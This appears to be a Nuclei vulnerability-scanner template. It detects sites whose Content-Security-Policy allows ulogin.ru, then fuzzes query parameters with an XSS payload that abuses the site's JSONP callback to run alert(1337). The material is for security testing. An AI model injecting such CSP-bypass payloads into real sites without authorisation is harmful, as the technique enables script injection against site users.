id: ulogin-csp-bypass

info:
  name: Content-Security-Policy Bypass - ULogin
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,ulogin,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "ulogin.ru"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: ulogin_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://ulogin.ru/token.php?callback=alert(1337)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "ulogin_csp_xss == true"
# digest: 4a0a00473045022100bb031fcb6082919d85f2ec32bdb45dcc3159ea7e0d1d67db800df7cc87accfa2022054b787971b3a242ae6a0562e76dc68aaa8cd611d50767ee54cbd6028cc3819ce:922c64590222798bb761d5b6d8e72950